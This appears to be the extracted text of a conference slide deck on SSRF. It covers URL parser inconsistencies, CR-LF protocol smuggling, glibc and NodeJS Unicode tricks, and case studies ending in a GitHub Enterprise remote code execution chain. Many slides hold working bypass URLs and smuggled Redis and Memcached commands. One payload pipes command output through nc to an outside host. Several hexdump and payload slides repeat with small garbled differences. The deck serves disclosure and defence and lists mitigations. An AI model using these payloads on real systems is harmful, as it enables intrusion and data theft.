A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

Orange Tsai
About Orange Tsai

Taiwan No.1
About Orange Tsai

The most professional red team in Taiwan
About Orange Tsai

The largest hacker conference in Taiwan
founded by chrO.ot
About Orange Tsai

- **Speaker** - Speaker at several security conferences
  HITCON, WooYun, AVTokyo

- **CTFer** - CTFs we won champions / in finalists (as team HITCON)
  DEFCON, Codegate, Boston Key Party, HITB, Secon, 0CTF, WCTF

- **Bounty Hunter** - Vendors I have found Remote Code Execution
  Facebook, GitHub, Uber, Apple, Yahoo, Imgur
Agenda

• Introduction

• Make SSRF great again
  Issues that lead to SSRF-Bypass
  Issues that lead to protocol smuggling
  Case studies and Demos

• Mitigations
What is SSRF?

- Server Side Request Forgery
- Bypass Firewall, Touch Intranet
- Compromise Internal services
  - Struts2
  - Redis
  - Elastic
Protocol Smuggling in SSRF

- Make SSRF more powerful
- Protocols that are suitable to smuggle
  - HTTP based protocol
  - Elastic, CouchDB, Mongodb, Docker
  - Text-based protocol
  - FTP, SMTP, Redis, Memcached
Quick Fun Example

http://1.1.1.1[@2.2.2.2#@3.3.3.3/]
Quick Fun Example

http://1.1.1.1@2.2.2.2#@3.3.3.3/
Python is so Hard
Quick Fun Example

- CR-LF Injection on HTTP protocol
- Smuggling SMTP protocol over HTTP protocol

http://127.0.0.1:25/%0D%0AHELO orange.tw%0D%0AMAIL FROM...

>> GET /
<< 421 4.7.0 ubuntu Rejecting open proxy localhost [127.0.0.1]
>> HELO orange.tw

Connection closed
SMTP Hates HTTP Protocol

It Seems Unexploitable
Gopher Is Good

What If There Is No Gopher Support?
HTTPS

What Won’t Be Encrypted in a SSL Handshake?
Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1\%0D\%0AHELO orange.tw\%0D\%0AMAIL FROM...:25/

$ tcpdump -i lo -qw - tcp port 25 | xxd

000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 20 0d 0a48 454c +127.0.0.1 ..HEL
000001e0: 4f20 6f72 616e 6765 2e74 770d 0a11 000b O orange.tw..MAI
000001f0: 4c20 4652 4e4f 4d2e2e2e0d 0a11 000b 0004 L FROM............
00000200: 0300 0102 000a 001c 001a 0017 0019 001c .................
```
Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```bash
$ tcpdump -i lo -qw - tcp port 25 | xxd
```

```
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./..=..j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 .2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 0d 0a 48 454c +127.0.0.1 .HEL
000001e0: 4f20 6f72 616e 6765 2e77 2d70 254c4f52 O orange.tw-.FROM:
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM............
```

```plaintext
https://127.0.0.1 %0D%AHELO orange.tw%0D%0AMAIL FROM...:25/
```
Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```bash
$ tcpdump -i lo -qw | tcp port 25 | xxd
```

```
000001b0: 009c 0035 002f c030 c02c 003d 006a 0038 ...5./.0.,.=.j.8
000001c0: 0032 00ff 0100 0092 0000 0030 002e 0000 ...2.........0....
000001d0: 2b31 3237 2e30 2e30 2e31 20 0d 0a +127.0.0.1 ...HEL
000001e0: 4f20 6f72 616e 6765 2e74 77 0d 0a O orange.t...MAI
000001f0: 4c20 4652 4f4d 2e2e 2e0d 0a11 000b 0004 L FROM..........
00000200: 0300 0102 000a 001c 001a 0017 0019 001c .................
```
Quick Fun Example

- CR-LF Injection on HTTPS protocol
- Exploit the Unexploitable - Smuggling SMTP over TLS SNI

```
https://127.0.0.1 %0D%0AHELO orange.tw%0D%0AMAIL FROM...:25/
```

```
$ tcpdump -i lo -qw - tcp port 25

>> ...5./.0.,=.j.8.2.........0...+127.0.0.1
<< 500 5.5.1 Command unrecognized: ...5./.0.,=.j.8.2..0.+127.0.0.1
>> HELO orange.tw
<< 250 ubuntu Hello localhost [127.0.0.1], please meet you
>> MAIL FROM: <admin@orange.tw>
<< 250 2.1.0 <admin@orange.tw>... Sender ok
```
Make SSRF Great Again
URL Parsing Issues

- It’s all about the inconsistency between URL parser and requester
- Why validating a URL is hard?
  1. Specification in RFC2396, RFC3986 but just SPEC
  2. WHATWG defined a contemporary implementation based on RFC but different languages still have their own implementations
URL Components (RFC 3986)

foo://example.com:8042/over/there?name=bar#nose

- scheme
- authority
- path
- query
- fragment
URL Components (RFC 3986)

foo://example.com:8042/over/there?name=bar#nose

- **scheme**: (We only care about HTTP HTTPS)
- **authority**: (It’s complicated)
- **path**: (It’s complicated)
- **query**: (I don’t care)
- **fragment**: (I don’t care)
## Big Picture

<table>
<thead>
<tr>
<th>Libraries/Vulns</th>
<th>CR-LF Injection</th>
<th>URL Parsing</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Path</td>
<td>Host</td>
</tr>
<tr>
<td>Python httplib</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Python urllib</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Python urllib2</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Ruby Net::HTTP</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Java net.URL</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Perl LWP</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>NodeJS http</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>PHP httpwrapper</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>Wget</td>
<td>🎭</td>
<td>🎭</td>
</tr>
<tr>
<td>cURL</td>
<td>🎭</td>
<td>🎭</td>
</tr>
</tbody>
</table>
Abusing URL Parsers

- Consider the following PHP code

```php
$url = 'http://' . $_GET['url'];
$parsed = parse_url($url);
if ( $parsed['port'] == 80 && $parsed['host'] == 'google.com' ) {
    readfile($url);
} else {
    die('You Shall Not Pass');
}
```
Abusing URL Parsers

http://127.0.0.1:11211:80/
Abusing URL Parsers

http://127.0.0.1:11211:80/

- PHP parse_url
- Perl URI
- PHP readfile
- Perl LWP
Abusing URL Parsers

- RFC3986

```plaintext
authority = [ userinfo "@" ] host [ ":" port ]
port = *DIGIT
host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "." / "~"
sub-delims = "!" / "$" / "&" / ":" / "(" / ")" / "+" / "," / ";" / ":"
Abusing URL Parsers

http://google.com#@evil.com/
Abusing URL Parsers

http://google.com#@evil.com/

PHP parse_url

PHP readfile
Abusing URL Parsers

• Several programming languages suffered from this issue
  cURL, PHP, Python

• RFC3968 section 3.2
  The authority component is preceded by a double slash ("//") and is
  terminated by the next slash ("/"), question mark ("?"), or number sign
  ("#") character, or by the end of the URI
How About cURL?
Abusing URL Parsers

http://foo@evil.com:80@google.com/
Abusing URL Parsers

http://foo@evil.com:80@google.com/

NodeJS URL
Perl URI
Go net/url
PHP parse_url
Ruby addressable
Abusing URL Parsers

- Report the bug to cURL team and get a patch quickly
- Bypass the patch with a space

http://foo@127.0.0.1[google.com]/
Report Again But...

"curl doesn’t verify that the URL is 100% syntactically correct. It is instead documented to work with URLs and sort of assumes that you pass it correct input"
Won’t Fix

But previous patch still applied on cURL 7.54.0
Abusing URL Parsers

<table>
<thead>
<tr>
<th>Language</th>
<th>cURL / libcurl</th>
</tr>
</thead>
<tbody>
<tr>
<td>PHP parse_url</td>
<td>💀</td>
</tr>
<tr>
<td>Perl URI</td>
<td>💀</td>
</tr>
<tr>
<td>Ruby uri</td>
<td>💀</td>
</tr>
<tr>
<td>Ruby addressable</td>
<td>💀</td>
</tr>
<tr>
<td>NodeJS url</td>
<td>💀</td>
</tr>
<tr>
<td>Java net.URL</td>
<td>💀</td>
</tr>
<tr>
<td>Python urlparse</td>
<td>💀</td>
</tr>
<tr>
<td>Go net/url</td>
<td>💀</td>
</tr>
</tbody>
</table>
NodeJS Unicode Failure

• Consider the following NodeJS code

```javascript
var base = "http://orange.tw/sandbox/";
var path = req.query.path;
if (path.indexOf("..") == -1) {
    http.get(base + path, callback);
}
```
NodeJS Unicode Failure

http://orange.tw/sandbox/NN/passwd
NodeJS Unicode Failure

http://orange.tw/sandbox/%xFF/%2E%xFF/%2E/passwd
NodeJS Unicode Failure

http://orange.tw/sandbox/\xFF\x2E\xFF\x2E/passwd
NodeJS Unicode Failure

http://orange.tw/sandbox/.../passwd
NN/ is new ../ (in NodeJS HTTP)

(U+FF2E) Full width Latin capital letter N
What the _____
NodeJS Unicode Failure

- HTTP module prevents requests from CR-LF Injection
- Encode the New-lines as URL encoding

```
http://127.0.0.1:6379/\r\n\nSLAVEOF orange.tw 6379\r\n
$ nc -vvlp 6379

GET /%0D%0A SLAVEOF%20orange.tw%206379%0D%0A HTTP/1.1
Host: 127.0.0.1:6379
Connection: close
```
NodeJS Unicode Failure

• HTTP module prevents requests from CR-LF Injection

• Break the protections by Unicode U+FF0D U+FF0A

```plaintext
http://127.0.0.1:6379/ - * SLAVEOF@orange.tw@6379 - *

$ nc -vvlp 6379

>> GET /
>> SLAVEOF orange.tw 6379
>> HTTP/1.1
>> Host: 127.0.0.1:6379
>> Connection: close
```
GLIBC NSS Features

- In Glibc source code file resolv/ns_name.c#ns_name_pton()

```c
/*%
 * Convert an ascii string into an encoded domain name
 * as per RFC1035.
 */

int
ns_name_pton(const char *src, u_char *dst, size_t dstsiz)
```
GLibc NSS Features

- RFC1035 - Decimal support in `gethostbyname()`

```c
void main(int argc, char **argv) {
    char *host = "or\\097nge.tw";
    struct in_addr *addr = gethostbyname(host)->h_addr;
    printf("%s\n", inet_ntoa(*addr));
}
```

...50.116.8.239
GLibc NSS Features

- RFC1035 - Decimal support in gethostbyname()

```python
>>> import socket
>>> host = '\o\r\a\n\g\e.t\w'
>>> print(host)
\o\r\a\n\g\e.t\w
>>> socket.gethostbyname(host)
'50.116.8.239'
```
GLibc NSS Features

- Linux `getaddrinfo()` strip trailing rubbish followed by whitespaces

```c
void main(int argc, char **argv) {
    struct addrinfo *res;
    getaddrinfo("127.0.0.1 foo", NULL, NULL, &res);
    struct sockaddr_in *ipv4 = (struct sockaddr_in *)res->ai_addr;
    printf("%s\n", inet_ntoa(ipv4->sin_addr));
}
```

...127.0.0.1
GLibc NSS Features

- Linux `getaddrinfo()` strip trailing rubbish followed by whitespaces.
- Lots of implementations relied on `getaddrinfo()`.

```python
>>> import socket
>>> socket.gethostbyname("127.0.0.1\r\nfoo")
'127.0.0.1'
```
GLibc NSS Features

- Exploit Glibc NSS features on URL Parsing

- \( http://127.0.0.1\tfoo.google.com \)

- \( http://127.0.0.1%09foo.google.com \)

- \( http://127.0.0.1%2509foo.google.com \)
GLibc NSS Features

- Exploit Glibc NSS features on URL Parsing
- Why this works?
  
  Some library implementations decode the URL TWICE...

http://127.0.0.1%2509foo.google.com
GLibc NSS Features

- Exploit Glibc NSS features on Protocol Smuggling
- HTTP protocol 1.1 required a host header

```
$ curl -vvv http://I-am-a-very-very-weird-domain.com

>> GET / HTTP/1.1
>> Host: I-am-a-very-very-weird-domain.com
>> User-Agent: curl/7.53.1
>> Accept: */*
```
GLibc NSS Features

- Exploit Glibc NSS features on Protocol Smuggling
- HTTP protocol 1.1 required a host header

http://127.0.0.1\r\nSLAVEOF orange.tw 6379\r\n:6379/

$ nc -vvlp 6379

>> GET / HTTP/1.1
>> Host: 127.0.0.1
>> SLAVEOF orange.tw 6379
>> :6379
>> Connection: close
GLIBC NSS Features

- Exploit GLIBC NSS features on Protocol Smuggling
- SNI Injection - Embed hostname in SSL Client Hello

Simply replace HTTP with HTTPS 😊

```plaintext
https://127.0.0.1\r\n\nSET foo 0 60 5\r\n\n:443/

$ nc -vvlp 443

>> ..=5</.AiH9876.'. #...$... thief...)%.%.g@?>3120...EDCB..
>> ......5'"127.0.0.1
>> SET foo 0 60 5
```
GLibc NSS Features

- Break the Patch of Python CVE-2016-5699
- CR-LF Injection in HTTPConnection.putheader()

Space followed by CR-LF?

```python
_is_illegal_header_value = \
    re.compile(rb'\n(?![ \t])|\r(?![ \t\n]))'.search...

if _is_illegal_header_value(values[i]):
    raise ValueError('Invalid header value %r' % (values[i],))
```
GLibc NSS Features

• Break the Patch of Python CVE-2016-5699

• CR-LF Injection in HTTPConnection.putheader()
  Space followed by CR-LF?
  Bypass with a leading space

```python
>>> import urllib
>>> url = 'http://0\n\nSLAVEOF orange.tw 6379\n\n:80'
>>> urllib.urlopen(url)
```
GLIBC NSS Features

• Break the Patch of Python CVE-2016-5699

• Exploit with a leading space

Thanks to Redis and Memcached

```
http://0\r\n\r
\r
\nSLAVEOF orange.tw 6379\r\n:6379/
```

```
>> GET / HTTP/1.0
<< -ERR wrong number of arguments for 'get' command
>> Host: 0
<< -ERR unknown command 'Host:'
>> SLAVEOF orange.tw 6379
<< +OK Already connected to specified master
```
Abusing IDNA Standard

• The problem relied on URL parser and URL requester use different IDNA standard

<table>
<thead>
<tr>
<th></th>
<th>IDNA2003</th>
<th>UTS46</th>
<th>IDNA2008</th>
</tr>
</thead>
<tbody>
<tr>
<td>google.com</td>
<td>google.com</td>
<td>google.com</td>
<td>Invalid</td>
</tr>
<tr>
<td>g\u200DGoogle.com</td>
<td>google.com</td>
<td>google.com</td>
<td>xn--google-pf0c.com</td>
</tr>
<tr>
<td>baß.de</td>
<td>bass.de</td>
<td>bass.de</td>
<td>xn--ba-hia.de</td>
</tr>
</tbody>
</table>
Abusing IDNA Standard

- The problem relied on URL parser and URL requester use different IDNA standard

```python
>>> "ß".toLowerCase()
"ß"
>>> "ß".toUpperCase()
"SS"
>>> ["ss", "SS"].indexOf("ß")
false
>>> location.href = "http://wordpress.com"
```
Cat Studies
Abusing URL Parsers - Case Study

• WordPress

1. Paid lots of attentions on SSRF protections
2. We found 3 distinct ways to bypass the protections
3. Bugs have been reported since Feb. 25, 2017 but still unpatched
4. For the Responsible Disclosure Process, I will use MyBB as following case study
Abusing URL Parsers - Case Study

- The main concept is finding different behaviors among URL parser, DNS checker and URL requester

<table>
<thead>
<tr>
<th></th>
<th>URL parser</th>
<th>DNS checker</th>
<th>URL requester</th>
</tr>
</thead>
<tbody>
<tr>
<td>WordPress</td>
<td><code>parse_url()</code></td>
<td><code>gethostbyname()</code></td>
<td>*cURL</td>
</tr>
<tr>
<td>vBulletin</td>
<td><code>parse_url()</code></td>
<td>None</td>
<td>*cURL</td>
</tr>
<tr>
<td>MyBB</td>
<td><code>parse_url()</code></td>
<td><code>gethostbyname()</code></td>
<td>*cURL</td>
</tr>
</tbody>
</table>

* First priority
Abusing URL Parsers - Case Study

• SSRF-Bypass tech #1

Time-of-check to Time-of-use problem

```php
$url_components = @parse_url($url);
if(!
empty($url_components['host']) ||
(empty($url_components['scheme']) && !in_array($url_components['scheme'], array('http', 'https'))) ||
(!empty($url_components['port']) && !in_array($url_components['port'], array(80, 8080, 443)))
) { return false; }

$addresses = gethostbyname($url_components['host']);
if($addresses) {
    // check addresses not in disallowed_remote_addresses
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
```
Abusing URL Parsers - Case Study

1. `gethostbyname()` and get 1.2.3.4
2. Check 1.2.3.4 not in blacklist
3. Fetch URL by `curl_init()` and `cURL` query DNS again!
4. 127.0.0.1 fetched, SSRF!
Abusing URL Parsers - Case Study

• SSRF-Bypass tech #2

The inconsistency between DNS checker and URL requester

There is no IDNA converter in gethostbyname(), but cURL has

```php
$url = 'http://ß.orange.tw/'; // 127.0.0.1
$output = parse_url($url)['host']; // 127.0.0.1
$host = parse_url($url)['host'];
$addresses = gethostbyname($host); // bool(false)
if ($address) {
    // check if address in white-list
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
```
Abusing URL Parsers - Case Study

- SSRF-Bypass tech #3

  The inconsistency between URL parser and URL requester

- Fixed in PHP 7.0.13

```php
$url = 'http://127.0.0.1:11211#@google.com:80/';
$parsed = parse_url($url);
var_dump($parsed['host']);  // string(10) "google.com"
var_dump($parsed['port']);  // int(80)

curl($url);

...127.0.0.1:11211 fetched
```
Abusing URL Parsers - Case Study

• SSRF-Bypass tech #3

  The inconsistency between URL parser and URL requester

  • Fixed in cURL 7.54 (The version of libcurl in Ubuntu 17.04 is still 7.52.1)

```
$url = 'http://foo@127.0.0.1:11211@google.com:80/';
$parsed = parse_url($url);
var_dump($parsed[host]);   // string(10) "google.com"
var_dump($parsed[port]);   // int(80)

curl($url);

...127.0.0.1:11211 fetched
```
Abusing URL Parsers - Case Study

- SSRF-Bypass tech #3

  The inconsistency between URL parser and URL requester
  - cURL won’t fix :)

```php
$url = 'http://foo@127.0.0.1[google.com:11211/';
$parsed = parse_url($url);
var_dump($parsed[host]); // string(10) "google.com"
var_dump($parsed[port]); // int(11211)

curl($url);

...127.0.0.1:11211 fetched
```
Protocol Smuggling - Case Study

- GitHub Enterprise
  Standalone version of GitHub
  Written in Ruby on Rails and code have been obfuscated
Protocol Smuggling - Case Study

• About Remote Code Execution on GitHub Enterprise

  Best report in GitHub 3rd Bug Bounty Anniversary Promotion!

  Chaining 4 vulnerabilities into RCE
Protocol Smuggling - Case Study

- First bug - SSRF-Bypass on Webhooks

What is Webhooks?
Protocol Smuggling - Case Study

- First bug - SSRF-Bypass on Webhooks
  Fetching URL by gem faraday
  Blacklisting Host by gem faraday-restrict-ip-addresses
  - Blacklist localhost, 127.0.0.1... ETC
  - Simply bypassed with a zero

http://0/
Protocol Smuggling - Case Study

• First bug - SSRF-Bypass on Webhooks
  
  There are several limitations in this SSRF
  • Not allowed 302 redirection
  • Not allowed scheme out of HTTP and HTTPS
  • No CR-LF Injection in faraday
  • Only POST method
Protocol Smuggling - Case Study

- Second bug - SSRF in internal Graphite service

GitHub Enterprise uses Graphite to draw charts

Graphite is bound on 127.0.0.1:8000

```python
url = request.GET['url']
proto, server, path, query, frag = urlsplit(url)
if query: path += '?' + query
conn = HTTPConnection(server)
conn.request('GET', path)
resp = conn.getresponse()
```
SSRF Execution Chain
Protocol Smuggling - Case Study

- Third bug - CR-LF Injection in Graphite

  Graphite is written in Python

  - The implementation of the second SSRF is `http://0:8000/composer/send_email?to=orange@chroot.org&url=http://127.0.0.1:6379/%0D%0ASET...`

  - As I mentioned before, `http://` suffers from CR-LF Injection

  - We can smuggle other protocols with URL
Protocol Smuggling - Case Study

• Fourth bug - Unsafe Marshal in Memcached gem
  
  GitHub Enterprise uses Memcached gem as the cache client
  All Ruby objects stored in cache will be Marshal-ed
Protocol Smuggling - Case Study

First SSRF    Second SSRF    Memcached protocol    Marshal data

http://0:8000/composer/send_email?to=orange@chroot.org
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/queries/code_query%3A857be82362ba02525cef496458ff09cf30f6256%3Av3%3Acount%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%20id%20%7C%20nc%20orange.tw%20id%20%7C%20nc%20orange.tw%20id%20%7C%20nc%20orange.tw%s0ET%3A%0C%40lineno%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A
Protocol Smuggling - Case Study

http://0:8000/composer/send_email
?to=orange@chroot.org
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/queries/code_query%3A857be82362ba02525cef496458ffbf09cf30f6256%3Av3%3Acount%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%20%7C%20Method%20Result%0D%0A%0D%0A
Protocol Smuggling - Case Study

http://0:8000/composer/send_email?to=orange@chroot.org
&url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/queries/code_query%3A857be82362ba02525ef496458ffb09cf30f6256%3Av3%3Acount%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A

First SSRF  Second SSRF  Memcached protocol  Marshal data

$12,500
Demo

GitHub Enterprise < 2.8.7 Remote Code Execution

https://youtu.be/GoO7_ICOfic
Mitigations

• Application layer
  
  Use the only IP and hostname, do not reuse the input URL

• Network layer
  
  Using Firewall or NetWork Policy to block Intranet traffics

• Projects
  
  SafeCurl by @fin1te
  Advocate by @JordanMilne
Summary

• New Attack Surface on SSRF-Bypass
  URL Parsing Issues
  Abusing IDNA Standard

• New Attack Vectors on Protocol Smuggling
  Linux Glibc NSS Features
  NodeJS Unicode Failure

• Case Studies
Further works

• URL parser issues in OAuth
• URL parser issues in modern browsers
• URL parser issues in proxy server
• More...
Acknowledgements

1. Invalid URL parsing with '#'  
   by @bagder

2. URL Interop  
   by @bagder

3. Shibuya.XSS #8  
   by @mala

4. SSRF Bible  
   by @Wallarm

5. Special Thanks  
   Allen Own  
   Birdman Chiu  
   Henry Huang
Cat Acknowledgements

- Twitter @harapeko_lady
  https://twitter.com/harapeko_lady/status/743463485548355584

- Working Cat
  https://tuswallpapersgratis.com/gato-trabajando/

- Cat in Carpet
  https://carpet.vidalondon.net/cat-in-carpet/
Thanks

orange@chroot.org
@orange_8361